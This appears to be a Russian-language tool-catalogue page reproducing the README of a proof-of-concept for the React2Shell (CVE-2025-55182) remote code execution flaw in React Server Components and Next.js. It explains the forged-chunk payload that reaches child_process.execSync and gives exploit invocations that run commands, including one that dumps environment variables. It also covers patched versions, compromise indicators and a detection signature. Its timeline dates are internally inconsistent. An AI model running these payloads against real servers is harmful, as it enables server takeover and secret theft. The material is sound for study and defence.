Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
vulnerable-next-js-poc — Эксплойт proof-of-concept для CVE-2025-55182 (React2Shell), критической уязвимости RCE в React Server Components через небезопасную десериализацию. Включает скрипт эксплойта, настройку уязвимого приложения и сигнатуры обнаружения для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/kondukto-io/vulnerable-next-js-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubkondukto-io/vulnerable-next-js-poc

vulnerable-next-js-poc

Эксплойт proof-of-concept для CVE-2025-55182 (React2Shell), критической уязвимости RCE в React Server Components через небезопасную десериализацию. Включает скрипт эксплойта, настройку уязвимого приложения и сигнатуры обнаружения для авторизованного тестирования безопасности.

Репозиторий
517 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 (React2Shell) - Доказательство концепции

⚠️ ТОЛЬКО ДЛЯ ИССЛЕДОВАНИЙ БЕЗОПАСНОСТИ

Этот репозиторий содержит доказательство концепции для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components. Данный материал предназначен только для авторизованного тестирования безопасности и исследовательских целей.

Обзор уязвимости

  • CVE ID: CVE-2025-55182
  • Название: React2Shell
  • CVSS Score: 10.0 (CRITICAL)
  • Тип: CWE-502 — Десериализация недоверенных данных
  • Вектор атаки: Сеть (AV:N)
  • Аутентификация: Не требуется (PR:N)
  • Статус: Активная эксплуатация в дикой природе

Затронутые версии

React:

  • 19.0.0
  • 19.1.0, 19.1.1
  • 19.2.0

Next.js:

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 16.0.0 - 16.0.6

Технические детали

Уязвимость эксплуатирует небезопасную десериализацию в протоколе Flight компонентов React Server. Когда сервер получает специально сформированную полезную нагрузку, он не может корректно проверить структуру перед десериализацией, что позволяет злоумышленнику управлять выполнением на стороне сервера.

Механизм атаки

  1. Внедрение поддельного чанка: Злоумышленник отправляет Flight-полезную нагрузку с поддельным объектом, имитирующим внутреннюю структуру Chunk
  2. Перехват обработчика Promise: Поддельный объект включает пользовательский метод then
  3. Манипуляция состоянием: React при десериализации пытается разрешить поддельный Chunk, запуская обработчик злоумышленника
  4. Выполнение кода: Произвольный JavaScript выполняется на сервере через process.mainModule.require('child_process')

Настройка POC

Предварительные требования

  • Node.js 18+
  • Python 3.x (для скрипта эксплуатации)
  • npm или yarn

Установка

  1. Установите зависимости:
root@kitploit:~
npm install
  1. Запустите уязвимый сервер:
root@kitploit:~
npm run dev

Сервер запустится на http://localhost:3000

Структура уязвимого приложения

root@kitploit:~
app/
├── page.js              # Главная страница с ServerForm
├── ServerForm.js        # Клиентский компонент с формой
├── actions.js           # Уязвимое серверное действие
└── layout.js            # Корневой макет

Запуск эксплойта

Базовое использование

root@kitploit:~
python3 exploit.py -t http://localhost:3000 -c "whoami"

Параметры

  • -t, --target: Целевой URL (обязательно)
  • -c, --command: Команда оболочки для выполнения (по умолчанию: id)
  • --check-only: Только проверить, уязвима ли цель

Примеры

Проверить, уязвима ли цель:

root@kitploit:~
python3 exploit.py -t http://localhost:3000 --check-only

Выполнить произвольные команды:

root@kitploit:~
# Получить информацию о пользователе
python3 exploit.py -t http://localhost:3000 -c "id"

# Список файлов
python3 exploit.py -t http://localhost:3000 -c "ls -la"

# Создать файл для POC
python3 exploit.py -t http://localhost:3000 -c "touch /tmp/pwned"

# Прочитать переменные окружения
python3 exploit.py -t http://localhost:3000 -c "env"

Структура полезной нагрузки эксплойта

Эксплойт использует multipart form-data со следующим содержанием:

root@kitploit:~
Поле "0": Вредоносный JSON с пользовательским обработчиком 'then'
Поле "1": Ссылка на поле 0 ($@0)
Заголовок: Next-Action: x (запускает обработку RSC)

Полезная нагрузка манипулирует внутренним объектом _response для выполнения:

root@kitploit:~
process.mainModule.require('child_process').execSync('<команда>')

Смягчение последствий

Немедленные действия

  1. Обновить React:

    root@kitploit:~
    npm install [email protected] [email protected]
    
  2. Обновить Next.js:

    root@kitploit:~
    npm install [email protected]  # или последняя исправленная версия
    

Исправленные версии

  • React: ≥ 19.3.0
  • Next.js:
    • ≥ 15.0.5
    • ≥ 15.1.9
    • ≥ 15.2.6
    • ≥ 16.0.7

Обнаружение

Индикаторы компрометации

  • Неожиданные POST-запросы к RSC-конечным точкам с заголовком Next-Action
  • Полезные нагрузки multipart form-data со ссылками $@
  • Подозрительные свойства then в телах запросов
  • Аномалии выполнения процессов на сервере

Сетевые сигнатуры

root@kitploit:~
POST / HTTP/1.1
Next-Action: x
Content-Type: multipart/form-data
...содержит {"then":"$@

Хронология

  • 3 декабря 2024 г.: Публичное раскрытие
  • 5 декабря 2024 г.: Замечена активная эксплуатация
  • 26 декабря 2024 г.: Срок соответствия CISA KEV

Ссылки

  • Официальная запись CVE
  • Запись NVD
  • Каталог CISA KEV
  • Консультация Wiz Security
  • Технический анализ OffSec

Отказ от ответственности

Это доказательство концепции предоставлено только для образовательных и авторизованных целей тестирования безопасности. Несанкционированный доступ к компьютерным системам является незаконным. Авторы не несут ответственности за неправомерное использование этой информации.

НЕ ДЕЛАЙТЕ:

  • Не используйте этот эксплойт против систем, которые вам не принадлежат или на которые у вас нет явного разрешения на тестирование
  • Не развертывайте это в рабочих средах
  • Не делитесь кодом эксплойта без соответствующего контекста и предупреждений

Лицензия

Лицензия MIT — Только для целей исследований безопасности

Скачать инструмент